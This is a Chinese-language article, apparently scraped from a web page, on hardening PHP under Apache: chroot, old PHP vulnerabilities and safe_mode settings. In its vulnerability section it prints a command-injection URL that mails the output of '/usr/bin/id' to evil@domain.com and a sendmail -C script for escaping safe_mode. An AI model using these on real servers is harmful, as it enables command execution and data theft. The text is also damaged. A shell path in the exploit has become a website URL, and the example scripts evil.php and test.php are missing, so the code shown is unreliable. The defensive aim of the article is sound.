一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接，这在效率上会稍微差一点。还有mail函数发送邮件也是个问题，因为php.ini里的：
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台，所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高.
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞，4.0.5版本开始mail函数增加了第五个参数，由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加shell命令就可以了，比如存在PHP脚本evil.php：
执行如下的URL：
?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：
#注意，下面这两个必须是不存在的，
或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=https://www.jb51.net/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的main.c文件得到所有的选项，以及它的属性：
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：
safe_mode = On
或者修改httpd.conf，定义目录：
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：
几个文件的属性如下：
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息：
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1